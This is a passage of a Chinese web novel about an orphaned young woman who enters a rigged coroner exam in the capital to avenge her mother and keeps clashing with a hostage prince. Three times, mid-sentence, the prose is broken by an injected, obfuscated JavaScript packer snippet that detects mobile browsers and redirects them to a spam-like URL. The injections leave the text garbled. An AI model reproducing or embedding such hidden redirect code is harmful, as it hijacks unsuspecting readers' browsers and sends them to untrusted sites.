香气袭人,惬意非凡,竟像是要在自家书房里打盹儿似的。 主考官清了清嗓子,“时辰到了,咱们就……”他正欲宣布笔试开始,手下人却火急火燎地上前来,附在他耳边说了通话。 主考官登时脸色一变,惊疑地问:“余家安排的?”得到肯定的回答,他只能妥协,“那、那请进来吧。” 书案、坐垫、纸笔很快就被安排好。场上众人也都按捺不住,向厅外投向探究的目光,有些人脸上则是不可思议,不敢相信还有哪位大官能在此时插人进来。 和上次不同,曲霜姿这次是被请进大理寺的。她缓缓走入,坦坦荡荡,根本无惧于旁人的眼神。 沈无逆作为监考官,看到曲霜姿时即刻愣住。 这、这是怎么一回事? 4. 雨过天晴后 那场滂沱大雨中,曲霜姿无力地倒在地上抽噎。有那么一瞬间,她想回家的心情达到了顶峰,她讨厌这里,讨厌这个奢华绮丽到几乎没有一丝人情味儿的地方。 可家里没有阿娘了,要是连她都放弃了,何人来为阿娘寻公道呢? 她想阿娘,阿娘也必然是想念她的,否则又怎么会让她在恍惚中看到余肃叔叔的身影呢? 余肃原本是打算找个酒楼歇歇脚,他看着漫天大雨,突然想起和曲婧相遇那日。 余肃悲从中来,想要落泪却奈何人多眼杂,只好深吸几口气平定情绪。他本已告病辞官远离朝堂,每隔十天半月就去陪伴身在荨州的曲婧母女。然而,他不过因事耽搁了一月,再回荨州却不见二人,只见到了曲婧长眠的坟墓。 他起初不敢相信,他几乎询问遍了荨州的百姓,却在一次次得到答案后被迫接受事实。曲婧的死,想来必与盛京皇室脱不开干系,余肃心知肚明但无可奈何,只能强迫自己振作起来去寻找曲婧之女曲霜姿。 盛京不是曲霜姿该去的地方。 曲婧历经千辛万苦才终于逃出的噩梦,余肃不会任由其女再冒失闯进去。 可盛京之远,曲霜姿到否? 盛京之大,曲霜姿又于何? 余肃头痛得发紧,再一抬眸就见一个小姑娘在雨中摇摇欲坠。 有些像曲霜姿。 余肃飞奔下楼。 就是曲霜姿! — 曲霜姿迷迷糊糊地睁开眼睛,看到床前站着两个男人,其中一个竟然和余肃叔叔很是相像。 但余肃叔叔不是走南闯北的商人吗?怎得也恰好出现在了盛京? “余大人,这位小姐贵体无恙,只是略着了些风寒,稍加休息就好。” 余肃松了口气,从钱袋抓出一把银子,“那便好,今日之事你要敢透露半句?” 给钱的就是爷。那郎中最懂这些大人物,有钱赚就是了,其余的自然是守口如瓶,他点头哈腰感谢几句,匆匆离开了。 “霜姿?”余肃瞥了眼,发现她已经醒了,脸上顿时露出欣喜的笑容。 “余肃叔叔?”曲霜姿眼前天旋地转、模糊一片,耳边亦是如雷轰鸣、嗡嗡作响,她强撑着身子坐起,缓了许久才终于确定了面前人的身份。 “余肃叔叔!” 她眼泪在眼眶中打转,随着余肃的一句应声彻底奔涌而出。 曲婧恐怕早料到自己会有这么一日,嘱咐了荨州司马不要留存关于她的任何信息,以至于最后身亡都没能留下卷宗。 曲霜姿忍着哭腔将事情来龙去脉都告知于余肃,见余肃也悲痛欲绝,自责道:“我那几日不该离家帮人查案,要是我没有离家的话……” 她哽咽住,余肃安慰她道:“好孩子,你已经做的很好了。” 曲霜姿哭累了,疑问也重新升了起来,她犹豫再三还是提出:“余肃叔叔,为什么刚刚那郎中唤你余大人?” 余肃叔叔待她极好,曲霜姿亦视其为父,若是余肃都不值得信任,那她是真的不知该如何立身处世了。 余肃知晓曲霜姿机灵,必然瞒不过她,只好全盘托出:“我原是盛京余家人,年轻时曾任过官。” “我与你母亲,也就是在盛京城遇见的。” 曲霜姿心里咯噔一下,“什么?” 余肃则一脸严肃,“所以你不能待在这儿,这儿是你阿娘曾拼命想要逃离的地方。” “逃离?”曲霜姿彻底懵了,她以为阿娘贫苦才会带着她颠沛流离,根本没想过她们还会和盛京城扯上关系。 “从前在盛京,发生了什么不好的事情吗?”她试探地问。 “你阿娘不许我告诉你,但你该记得你阿娘曾让你远离盛京,听叔叔的,也听你娘最后一次话吧。” “所以您知道是谁害死了我阿娘,对吧?” 余肃沉默不言。 曲霜姿矛盾又痛苦,她声音颤抖,“你们都不告诉我。” “然后又随意抛下我,让我至始至终都被蒙在鼓里。” 余肃赶忙安慰:“霜姿,不是这样的。” “我虽然讨厌这里,但只有在这里才能帮阿娘报仇,只有在这里我才能实现自己梦想。”曲霜姿捏紧拳头,“您可以不告诉我真相,但我可以自己去找,仇我也可以自己去报。” 梦想吗?余肃怔住,他想起自己曾在荨州小院里问过曲霜姿,问她长大想要成为什么样的人。 彼时曲霜姿正拿着木棍在地上画画,居然画出了曲婧嘴里的怪兽,恐怖凶残、还会吃小孩儿! 她嘴里还塞着阿娘做失败的不知第多少次的曲奇饼干,嘟囔答道:“哝。” 余肃朝着小孩儿指的方向看去,怪兽脚下竟还有一个小人儿,他哭笑不得,“这是?” 小霜姿急得一口咽下饼干,“这是我,我要打败怪兽、像阿娘一样保护百姓!” 当年娇蛮的小女孩儿已然长大,和现在坚毅的少女重合在一起,目光滚烫得叫余肃都为之震撼。 “以你我之力,恐怕难以报此仇。”他咬牙,面色阴郁。 曲霜姿抬眸,眼里闪着奇异的光,“阿娘曾说过,”她停顿片刻,深吸一口气郑重道:“人生苦短,困难只会接踵而至,人唯一能做的就是勇敢地去迎击。” “无论结果是否尽人意,都不算辜负这份敢于屹立于惊涛骇浪之上的勇毅。” “凡你所愿,全力以赴即可,错失机遇后的悔恨远比失败更为痛苦。” 余肃嘴唇颤栗,曲婧说这话时的影子在他面前重影似的晃动,曲霜姿俨然就是她遗志的继承者。他闭目凝神,终于下定了决心缓缓开口:“你想要怎么做?” 闻言,曲霜姿倏地想起现实,如霜打的茄子般懊丧垂头,声音都小了几分,“我原是想参加仵作选拔,报了名却被剔除了。” “你有所不知,皇室贵族皆雷霆手段,盛京维持着表面上的太平,大理寺办案也只敢办老百姓的案子。”余肃叹气道:“长此以往,仵作一职便成了闲职,大多都是世家塞人进去的。” “纵然是陛下有心寻求真才实学之辈,开放选拔制度,也奈何不了那些世家要暗箱操作。” 曲霜姿从前对盛京的幻想太过于浅薄,没成想比起所谓建功立业、辅佐君王、护佑百姓,纸醉金迷一词来得更实在些。 “我想想别的办法,先在这里找个营生安顿下来。”曲霜姿咬唇。 “你当真想好了?”余肃还是不死心,又问道。 曲霜姿虽然迷茫,答案却未有动摇半分。 “余家可以帮你。” 曲霜姿吓了一跳,她不知余家在盛京是何地位,但单看余肃信誓旦旦的模样就知道肯定非同一般,“不麻烦余叔叔了,我不想和那些暗箱操作的人一样。” 余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711862|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肃失笑,他摇摇头道:“你若真让我帮你一举获得仵作之职,我恐怕还帮不了你,但如果只是恢复你的名额,不过一句话的事。” “只是是否能通过选拔,还要看你自己。” “好!”曲霜姿眼睛一亮,“多谢余叔叔!” — 笔试对于曲霜姿不过小菜一碟,她自幼就被阿娘带着帮荨州官衙验尸查案。阿娘嘴里的许多知识虽无人能验证,但那些官衙的仵作都对阿娘格外敬重,对那些知识更是深信不疑。 雨过后天晴。 曲霜姿伸了个懒腰,晃悠着出了大厅,阖眼沐浴阳光。 “曲霜姿。” 一听就是沈霁明的声音。 她可不想搭理沈霁明,入盛京前,她还想过有没有可能遇到过去的那个小哥哥。谁料没遇到明月清风的沈霁明,却遇上了凶神恶煞的沈无逆。 曲霜姿假装没听见,拔腿就跑。 男人却比她更快,把她拉到一边,“短短几天,你竟然也攀附起了权贵!” 余家确实算得上是权贵,曲霜姿从余肃叔叔留给她的钱两就看出来了。不仅如此,余肃还大手一挥,帮曲霜姿包了三个月的客栈大厢房。 只是以三月为期,如若曲霜姿三月后仍没有留在盛京的能力,余肃便要送她离开。 “我攀附权贵?”曲霜姿瞪大眼睛看他,“我不过是恢复了我原本的名额,如何算得上攀附权贵。” “况且是你说,要是没有权势就只能任人宰割,我又有何错?” “盛京根本没有你想得那么简单,你不适合这里!那些权贵个个心怀鬼胎,为了一个区区仵作值得吗?”沈无逆气不过,然而他一边气恼,一边又不懂这股情绪从何而来。 曲霜姿本就对他心存芥蒂,现下又被高高在上地指责一番,她冷笑一声,“你问我值不值得?” “我难道不知道这里的权贵唯利是图、我难道不知道他们视人命如草芥?”她眼睛发红,痛恨道:“我阿娘就是被这吃人的盛京给害死的。” “我想要寻找真相,我想要为我阿娘报仇,难道有错吗?”女孩紧蹙着眉,眸中有泪却又倔强地强撑着不落。 沈无逆没想到曲霜姿竟然还经历了失母之痛,他缄默不言,半晌才挤出一句话。 “那你也不能……” 曲霜姿真是气笑了,她没等沈无逆说完就打断道:“只要我想,我做什么都与君无关,况且这位公子殿下,你是不是忘了自己也是攀附权贵?” “跟着二皇子,想必是得利不少啊。”她眯着眼冷笑,正戳沈无逆心底隐痛。 “你我说到底不过几面之缘,我亏欠你的未来必会还你,从今往后就当我们是素不相识的陌生人。”她头也不回地离开,擦过沈霁明身体时又不解气地骂了句双标男。 双标男? 好一个牙尖嘴利的小妮子,也不知道余家哪位大人看上了她…… 沈无逆不明所以站在原地,但不得不说,曲霜姿说的并非没有道理。 或许曲霜姿曾意外坏了他假死的计谋,但他也绑架了曲霜姿,曲霜姿还帮他调查清楚了剥皮狸猫案,也算是互不相欠了。 他没道理整体担心一个天真过头的女孩儿,他们都选了各自的路,便也该承担自生自灭的后果。 沈无逆转身,踏入地面黝黑的阴影中。 只留下一个微不可察的叹息。 5. 伯乐识良马 “现在你们面前有一个溺毙之人。”副考官面不改色地指着地面草席上躺着的草人,随后拉长声音对进入第二次选拔的八人道:“诸位,请吧。” 曲霜姿看着地上潦草的甚至不成人形的玩意儿,不由得皱起眉头。 这选拔还真是随便啊。 她站着没动,一个男人率先站了出来,朝着高座上的几位考官鞠了一躬,“在下庐阳冯氏,冯纪川。” 冯纪川像模像样地蹲下来,摆弄了回儿“尸体”,按照笔试中类似的题目照猫画虎道:“死者腹部胀起,口中、鼻中皆有泡沫,应为溺毙而亡。” 副考官嗯了一声,“还有其他人吗?” 依次有几人上前,所言都大同小异。 曲霜姿对选拔的题目感到莫名其妙,本想直接发问,却又有人站出,正是那日的华衣霍府公子。 “霍迁。”霍迁随意拱了拱手,表情看起来不情不愿,似乎有些不耐烦。 他甚至不愿蹲下,连草人都不看就干巴巴地背起来:“四肢前伸,手张开,双眼……睁着,腹部微胀,头发丛中以及指甲内都有、都有泥沙,口鼻内有泡沫。” “应为失足落水。” 背得是死气沉沉,还磕磕巴巴,主考官却还鼓掌称赞。 曲霜姿观察细致,除了林府大小姐以及这位霍公子站出来时,那位主考官都是一副心不在焉、漠不关心的模样。 内定的也太明显了些,看来其他什么庐阳冯氏,官位不够大,银两给的也不够足呀,都没能买到答案。 就剩曲霜姿一人,副考官看了她几眼,又看向主考官。主考官摆了摆手,副考官就立即要宣布得分情况。 “慢着!”曲霜姿打断道。 副考官第一次选拔时得知曲霜姿和余家有关系,当时还毕恭毕敬地待她,如今余家言明曲霜姿只是一个普通女子,考官们也自然不想在她身上浪费时间。 “你有什么就快说吧。” “民女曲霜姿,”曲霜姿不紧不慢地站了出来,“有疑问。” “哦?”副考官挑眉。 “毕竟是人命关天的大事,烦请考官描述发现死者的情形,如此才能推断出尸体状况。”曲霜姿认真道。 身后传来霍公子清脆响亮的啧声。 曲霜姿没理会。 副考官为难地看向主考官,“这……” “如果第二轮选拔仅仅是这样的话,与第一轮笔试又有何区别?”曲霜姿语气坚定,主考官这才舍得抬眸和她对视。 主考官贺卫清清嗓子,“那你可听好了。” “死者王氏,酉时三刻被邻居李氏在城郊河边发现,然后报案。”贺卫冷哼一声,“现在人命一条就躺在你脚边,曲大人还能说出什么花儿来?” 沈无逆站在贺卫身后,神情凝重。曲霜姿的本事他大概有几分了解,但是溺毙就是溺毙,又能有什么不同? 曲霜姿无视贺卫的不屑,继续问:“那王氏是何时被发现失踪的呢?” “当即溺毙又谈何失踪?”贺卫脱口而出,而就在那个瞬间,曲霜姿嘴角牵起抹得逞的笑容,沈无逆也立刻反应了过来。 “五、五六天吧。”贺卫见势不对,慌忙改口。 “这好歹正值初夏,五六日浮起可有些久了,这河底淤泥水草多吗?”曲霜姿问。 “多。”贺卫思考片刻才答道。 曲霜姿狡黠地眯起笑颜,心中更是得意,“那尸体恐怕是肿胀腐烂到不堪入目了吧,身上必然还沾染缠绕了淤泥和水草。” “那考官大人,李氏是如何立即认出死者为自己的邻居?而这具尸体又是如何坠入河中四五日还停留在家门口?” 眼下的局势彻底变了,倒变成了曲霜姿问题、主考官贺卫答了。 简直是倒反天罡,贺卫气得脸都红了。 要不是曲霜姿和他决裂,再加上此时人多眼杂,沈无逆真向为少女竖起个大拇指。 他原也是看不惯贺卫平日里不务正业且目中无人的做派。今日倒算看贺卫出了糗,只是这贺卫实在不是善茬,恐怕也不会善罢甘休。 沈无逆皱起眉头。 “也许还有一种可能,是邻居李氏推死者入河,亦或者李氏杀死王氏后才抛尸入河。”曲霜姿掷地有声。 “够了!”贺卫怒斥一声,“大理寺内,还轮不着你来质疑我!” 曲霜姿俯下身子,“大人息怒,民女并无冒犯之意,只是觉得人命也好、选拔也好,都是要事,不该这样草草了事。” 主考官也不想当众和一个小姑娘生气,再没说话,让副考官宣读结果。 结果并不意外,第一林寻雁、第二霍迁,第三则是冯纪川。 “最后一个名额,”副考官停顿一下,曲霜姿心都提到了嗓子眼,她之前春风得意地怼主考官也并非本意,只是想着将自己才能尽情展现,给考生考官都留下深刻印象,方不至于被草草淘汰。 另一方面,她也想赌。 林氏、霍氏的两位入选如今看来已是必然,但今日考场上之事也会在大理寺传开。曲霜姿想赌,最后的最后,她能够凭借自身本领被考官或是大理寺哪位大人赏识。 可能性虽小,却是她唯一的机会。 曲霜姿衣袖下的手都因紧张不受控制地抖动起来。 副考官不满地看了她一眼,宣布道:“曲霜姿。” 曲霜姿长舒一口气,放松了下来。 接下来,就期望有伯乐出现,能给她带来奇迹。 人几乎已经散尽,曲霜姿遥遥和沈无逆对视一眼,随即就要踏出大厅,却被林寻雁叫住了。 林寻雁看着要比曲霜姿大个几岁,身姿高挑,浑身上下散发出一种叫人敬而远之的气质,甚至弯眉凤眼间依稀有股飒爽之气。 和曲霜姿这段时日见到的盛京女子都不同。 “你很想入选吗?”林寻雁冷不丁发问。 “啊,那是自然。”曲霜姿苦笑一声,“来参加选拔的哪个不希望入选呢?” “那可不一定。”林寻雁又莫名其妙道,没等曲霜姿表示疑惑就如风一般,飞快离去了。 真是个——独特的女子啊。 — 曲霜姿今日打算在客栈对面的酒楼犒劳自己一顿。 从前她每每学会了新东西,或是在查案方面有了什么长进,阿娘都会实现她一个愿望。有时是会做一顿大餐,有时是买一些新鲜玩意儿供她玩耍。 所以曲霜姿延续了这样的习惯,是万不会亏待了自己。 据她观察,这家酒楼是整条街里最豪华阔气的一家。三层高的建筑壮美轩昂,细看其间纹饰又深觉玲珑精致,紫红油漆在阳光之下泛着鲜亮的光芒,巨大的镶金牌匾上是极具风骨的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711863|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三个大字“醉烟居”。 但最最重要的是,酒楼里面有位极受欢迎的说书人。 曲霜姿最爱听故事。 她寻思着,纵使她口袋里的钱只能买得起一盅茶,她也要进去听个痛快。 果然是热闹非凡,酒楼里里外外皆灯火通明,外头有商贾小贩吆喝叫卖,里面有丝竹管弦歌舞升平。 菜品没有曲霜姿想得贵,她要了碟小菜,又要了盏茶,愉快地听起来。 说书人晃悠着脑袋,问底下的宾客,“各位今日想听什么呀?” 人声嘈杂,欢呼声口哨声夹杂其间,说书人便自作了主张,“那今日,咱们就讲讲这盛京世家间的故事。” “世家你岂敢杜撰啊?”台下有人嗤笑道。 那说书人眉毛一拧,昂起了头,手上折扇翻飞,从容道:“既是杜撰嘛,世家大人岂会和我这小小说书郎计较?” 台下又是哄笑一片。 “好好好,咱们言归正传,话说这盛京二十年多前最鼎盛的世家还不是霍氏,而是余氏。” 没记错的话,余肃叔叔就是盛京余家人。 曲霜姿立马起了兴趣,竖起耳朵认真听着。 “而余氏曾经的那位少家主,丰神俊朗、文武全才,可谓是当之无愧的盛京第一公子。刚及弱冠就入朝为官,名动京城,多少好男儿艳羡不已呀。” 曲霜姿嘎嘣嘎嘣地咬着脆花生,端起茶杯老小酌一口,心道这余少家主能有她余叔叔帅吗? 她喝着这茶,觉得涩口,颇有些难以下咽。 来盛京这些日子,也没喝过这种茶呀,难不成盛京的好茶都是这样的? 她又抿一口,竟意外有些上头。 果然是好茶! 说书郎还在滔滔不绝地讲着:“余少家主年少有为,深得陛下青睐,然而就在大好年华,他却放弃继任家主之位,告病辞官了。” “此后,便很少在盛京出现。” “那去哪儿了啊!?”有人忍不住发问。 说书郎扯扯胡子,露出个莫测的笑容,“这自古才子配佳人,有传闻啊,是这余家老家主不许余公子追求心上人,余公子便辞了家主的位子,陪这位佳人浪迹天涯了。” 有位打扮不凡的女子不满地嚷道,“这终究不过是传闻啊,也许真是远离盛京养病去了,省得叫你们这些人编排!” “说这余公子举世无双,莫不是你也曾倾心于他,不然何苦因他羞恼,还为他辩护?”有男人调笑道。 那女子一气之下离开了,剩下众人留在原地哄闹。 “欲知后事如何,且听下回分解——”说书郎扯着嗓子最后喊了一句,就端着酒壶潇洒地下了台去。底下人都没听够,七嘴八舌的,有人挽留、有人抱怨,很快又继续讨论起来。 “哎哎,那位余公子最近好像回来了,你说他会不会重新继任家主啊?” “今时不同往日,错过了十余年,余家怕是早已培养好了新的继承人。纵使他从前再怎么风光无限,也要沦为余家的弃子了吧。” “那真是可惜啊……” “有什么可惜的,时光不等人啊。” “世态炎凉、人心叵测,越是在世家贵族,越是如此,他既然从前敢放弃一切,何苦现下又要回来争?” 曲霜姿听得难受,她心头一颤,抬手饮尽杯中茶水。 6. 酒不可貌相 许是酒楼人多热闹,不怎么透风,曲霜姿晕晕乎乎的。 说书郎对余家少家主的描述同余肃叔叔很是相似。余肃叔叔自她出生起就常陪伴着她和阿娘,细数来也有十五年了。 时间也对得上。 而阿娘,不会就是那位佳人吧。 她又忍不住好奇了,心道下次见到余肃叔叔,一定要问个究竟。 曲霜姿晃晃悠悠回到客栈,每走一步都觉得眼冒金星。 “咦?”她走到房间门口,见门上未挂锁,以为是自己走得着急忘了锁,可再一推门又推不开,似乎是从里面锁上了。 “怎么回事啊?”曲霜姿嘟囔道,正要喊店里伙计问问,房内突然响起一个男声。 “何人?”男声冷淡,像是冬日的凛风,很是耳熟。 “啊,屋里怎么有人啊。”曲霜姿揉揉脑袋,喊了一嗓子,“你是谁,怎么在我屋里?” “曲霜姿?”屋里男人听出了她的声音,唤她的名字。 她呆愣在原地,听屋里传来窃窃私语的声音,并不是对她说的,她一个字也没听见。 小偷?还是两个? 曲霜姿一急,忙上去拍门,“再不开门我就要喊人了!” 拍了好几下,房间的门猛得一开,曲霜姿力气没收住。本就有些站不稳,这下一头栽了下去。 正当她闭眼抱住脑袋之际,却有人稳稳接住了她。 “沈霁明?”曲霜姿睁开眼就是沈无逆的一张俊脸,“不对,你是沈无逆。” 沈无逆无奈把她扶着坐在凳子上,女孩儿还是半仰着头,努力睁着眼睛,懵懂地看向他。 “你怎么在这儿?”沈无逆问,他闻到空气中一股酒味,眉头紧锁,“你喝酒了。” “没有啊,我喝了茶,那茶好喝呀!”曲霜姿傻笑着张开手臂,“就是刚开始有些涩,但一点都不苦,果然是最好的酒楼啊。” 这下沈无逆明了了,酒楼伙计许是把茶上错成了酒。 酒楼、酒楼,自然因酒盛名。 醉烟居有全盛京最好的酒,其中有一种独家酿制的百花酒,起先会有点涩,待壶底花蜜融开便香气清冽,表面看着很像是茶水。 初尝不觉醉,后劲儿却大得很。 看曲霜姿这样子就知道了,不光错喝了酒,还错入了房。 沈无逆今日本约了人在此密谈,何曾想居然被曲霜姿打断,幸亏他及时命人从窗户离开了。 “以后都叫我沈无逆。”他叮嘱道,然而也不指望女孩儿能记住。 “什么沈无逆,我不认识。”曲霜姿醉得趴在桌上,脸都红透了,像是小孩子偷抹了大人的胭脂,嘴上却仍不忘回怼,“你是——小白脸。” 小白脸? 沈无逆眉头一跳,这又是什么词? 荨州虽然偏僻,但也在大安啊,怎么曲霜姿说的话总是稀奇古怪,他听都听不懂。 他今夜还着急回宫,不便在此逗留,沈无逆看着桌子上的醉猫,终归还是不忍曲霜姿这样度过一夜。 连盛京的酒都不可貌相,曲霜姿这样初出茅庐的小姑娘也难怪会被余家人骗了。 余家如今的少家主是个有名的花花公子,想必就是他坑骗了曲霜姿。沈无逆暗叹一口气,把不省人事的少女抱上了床榻。 “别走,”曲霜姿刚被放下,就扑腾起来,一把抓住了沈无逆的衣袖,“我有话对你说。” 沈无逆哭笑不得,“你还认得我是谁?” 曲霜姿哼了一声,艰难从塌上爬了起来。 曲霜姿垂着头半天不吭声,身形还在左右摇摆,仿佛下一秒就要歪倒睡去。沈无逆无奈捏了捏眉心,他伸手就要拨去女孩儿的手,没想到曲霜姿手上劲儿还不小。 “你是小哥哥。”曲霜姿紧拉着不放,她小心开口:“我们小时候见过的,你说你是邵辰的皇子,说未来要带我去皇宫玩。” 沈无逆愣了愣,心一揪,他咬牙没吭声。 “对不起。”曲霜姿一滴眼泪砸下来,砸到他手上,少女委屈地抬头,眼中噙满了泪水,“是我害你回不了家。” “盛京确实不是什么好地方,我不喜欢,想来你也不会喜欢。” 少女越说越动容,眼泪不住往下流。 沈无逆有些手足无措,他掏出手帕替曲霜姿拭泪,“别哭了,我不怪你。” “你再哭下去,外面的人听见了都以为我欺负你。” “你必定是讨厌我的,”曲霜姿脸色愈发红,甚至莫名都有点发肿,“我来盛京这些日子,人人都说你是温文儒雅的谦谦君子,你若是不讨厌我,又怎么会单单对我一人这样刻薄?” 刻薄,沈无逆好久没有得到这样的评价。 久居深宫还不受人待见,他早就习惯了八面玲珑地与人为善,实在是曲霜姿遇到自己的时机不巧,每每都出现在他与人密谈的时候。 “来大安当质子是我的命运,不怪你,那日是我话说得重了些。”沈无逆努力放缓声音,试图安抚曲霜姿,“你今日好好休息,我就先走了。” 曲霜姿还不松手,二人拉扯几番,她又始料未及哇地一声吐了出来,吐了沈无逆满身。 沈无逆瞬间脸都黑了,正要强行离开,却看见曲霜姿脖颈处起了好些疹子。她小脸难受地皱作一团,一边要倒下,一边又几欲作呕,沈无逆扶也不是、不扶也不是。 “伙计,这是跑腿费,快请位郎中来。”曲霜姿折腾许久,体力不支昏了过去,沈无逆看出她并不是普通的醉酒,忙派人去请郎中。 郎中来时,正看见一身狼藉的沈无逆焦头烂额地在照顾曲霜姿。 “哎呀,夫人这是病酒了。”郎中查看片刻,开了张药方,“夫人喝不得酒的,喝了酒就会有发红、发肿、起疹子甚至是发热的症状,以后也切记莫要沾染。” 沈无逆张了张嘴想反驳,却看榻上的曲霜姿难受得紧,睡都睡不安稳,只好轻声应下,“是,多谢郎中,那现在如何能让她不这么难受?” “醒酒汤,客栈应有醒酒汤,夫人饮下后应该能稍加缓解。” 沈无逆只感觉“夫人”这两个字臊得慌,要是曲霜姿醒着,恐怕会骂他是趁人之危、老牛吃嫩草了。 喂完汤和药,曲霜姿总算是安稳睡去了。沈无逆疲累不堪,这才想起来收拾收拾自己,他捶捶后背,内心五味杂陈。 总结起来就是俩大字:倒霉! 今日爽了二皇子的约,二皇子虽不会太严苛,也会心有成见。 好像自从曲霜姿来到盛京,沈无逆就事事都不顺。未来还是躲远一点,对自己、对曲霜姿都好。 而曲霜姿今日虽表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711864|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现得好,但也得罪了人。况且选拔结果早就内定,她全然没有希望,到时候只能从哪儿来回哪去。 想到这里,沈无逆心底又生出无奈的怜悯来。 当年他来盛京途中,马儿躁狂地失去了控制。是曲霜姿的娘、以及另一位被曲霜姿唤作叔叔的男人一同救下了他。 后来又是曲霜姿的娘帮他医好了马。 那样惊才绝艳的奇女子至今都让深无逆难忘,却居然落得个死于非命的结局。 可惜沈无逆为大安皇族案板上的一条鱼,任人宰割、自身难保,也帮不了曲霜姿什么…… — 曲霜姿第二天一睁眼,就感觉脸上有异物,视线都被遮挡。她抬起沉重的胳膊伸手一扯,原来是一张字条。 上面的字迹遒劲有力、力透纸背,丝毫不比醉烟居牌匾上的字差。 然而字迹内容却毫不风雅——猪头,喝不了酒就不要喝。 曲霜姿抱着脑袋思考良久。昨天她居然是错喝了酒,难怪呢,但是从醉烟居出来她不就回客栈了吗?这里又是何处? 这间客栈和她那间很是相像,只是小了些,曲霜姿踉跄着跑了出去,迎面就和店伙计撞上了。 “哎呦,是您啊!”伙计笑道:“昨日一位公子说有人醉酒走错了房间,他特地将房间续到了今日中午,还让我叮嘱您以后不要喝酒了。” “你可认识那人?”曲霜姿不好意思地挠挠头。还好是遇上了好人,但给人家平白添了这么大的麻烦,起码要道声谢、还清人家房钱吧。 店伙计笑得更谄媚了,“做我们这行的规矩,客人吩咐不许告诉您,小的又怎敢呢?” 罢了罢了。 曲霜姿打发了伙计,走到栏杆处向下望去,果真是走错了楼层。她的房间在三层,刚巧是这间的正上方,也难怪她会走错了。 至于酒嘛。 曲霜姿原本是学着阿娘“狗都不沾”的话唾弃几句,然而真想起那清香甘甜的滋味,实在是回味无穷、叫人难忘。 但阿娘所言“喝酒伤身误事”怕是真的。 否则,她也不会直到现在都头重脚轻,一步一晃荡好地不容易才回到自己的房间。 — 休息了一上午,曲霜姿这才缓过来,她躺在榻上漫无目的地四处张望,好似一条将死却懒得扑腾的鱼。 第三轮面试就在明日,说不心急是假的,三月之期还远,但如果真的不能入选成为仵作,曲霜姿想不到有什么办法可以留在盛京,可以获得查找真相的权利。 她长叹一声。 曲霜姿有想过把世家贿赂考官之事闹大,可是若报官,受贿的就是大理寺,她到哪里去告呢? 况且仵作一职从前不过是个吏役,在前朝还算是贱籍,仵作本人及其后代都不能入朝为官。眼下也不过是个微不足道的小官,陛下只拿此次选拔试探世家,又怎么会真的出面和世家起了冲突? 不能坐以待毙啊! 她骤然起身,飞快收拾好再次踏出了客栈,颇有些雄赳赳、气昂昂的架势,嘴里还不忘碎碎念道:“早期的鸟儿有虫吃,晚到的老鼠有奶酪。” 曲霜姿不知何为奶酪,但阿娘说过——机会留给有准备的人,哪怕她今天没有早起,碰碰运气说不准还会有好吃的吃。 她又踏进了醉烟居。 7. 沧海之一粟 今天不是说书郎来的日子,白天里酒楼就没有那么热闹。只有收到赏钱,胡姬才会捧起琵琶、扭动腰肢表演一曲儿。 曲霜姿自然也不是来享乐的,她逮着店伙计就问酒楼还缺不缺人手,询问能否见一见酒楼的老板。 然而店伙计却不愿意搭理她,曲霜姿只好再买一盏茶,等候看能否遇到酒楼的老板。 当然,一回生二回熟,这次她把茶水里里外外检查了个遍,确认没有上错才敢往嘴里送。 她其实知道自己喝不得酒,因为她阿娘在她幼时就给她喂过酒,那酒可比昨日的要浓的多。 幸亏也只是喂了一小口,然后很快就发现她有病酒的症状,及时给她喂了药解了酒。没记错的话,那些日子余肃叔叔叮嘱了她阿娘许多遍,不要再给小霜姿随随便便地喂东西了。 曲婧自己喜欢喝酒,一面说着“喝酒伤身误事”,一面又晃悠着酒杯唱着“借酒消愁愁更愁”。 曲霜姿喝不了酒,心里却也愁苦,只好借茶消愁。 想阿娘,想阿娘,想阿娘。 她在心里发着牢骚,眼睛还不忘盯着楼下的动静。 楼外云衫褪去,一点点挂上夜的帷幕,然后沉重地压了下去。 楼下也彻底热闹起来,觥筹交错、推杯换盏,胡姬撒欢似地舞着,完全不见午后的无精打采。 曲霜姿神思恍若置身于整个世界之外,一路飘到楼外去,被黑沉沉的夜幕压的喘不过气。 她曾以为天地辽阔,自有她发挥才能、大展宏图之处。现在看来,也许是荨州太小,荨州的人也小,就如那沧海之一粟。 空有抱负,却没半分力气施展。 楼下进来几位贵宾,几位店伙计一同去迎,原本乌泱泱的客人自觉地让开了一条道。曲霜姿回过神来,定睛一瞧,这不是霍迁吗? 霍迁被簇拥着走到厅内最中央,酒楼里最好的舞姬也舍得出来了。 曲霜姿不满地切了一声。 旁边突然响起人声,“你讨厌他?” 